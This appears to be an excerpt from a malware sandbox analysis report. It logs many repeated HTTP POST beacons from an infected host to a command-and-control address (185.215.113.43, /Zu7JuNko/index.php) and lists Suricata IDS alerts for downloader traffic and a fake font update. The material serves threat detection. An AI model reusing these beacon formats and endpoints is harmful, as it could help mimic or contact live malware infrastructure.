Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49833 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49986 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50109 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50111 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50113 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50115 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50116 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50117 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50119 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50121 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50123 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64716 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:64721 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64727 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64728 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64734 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64744 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64746 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64749 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:64752 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64755 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64757 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64759 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64761 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:64763 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64819 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64822 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64843 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64839 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:64850 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64837 -> 188.114.96.3:443
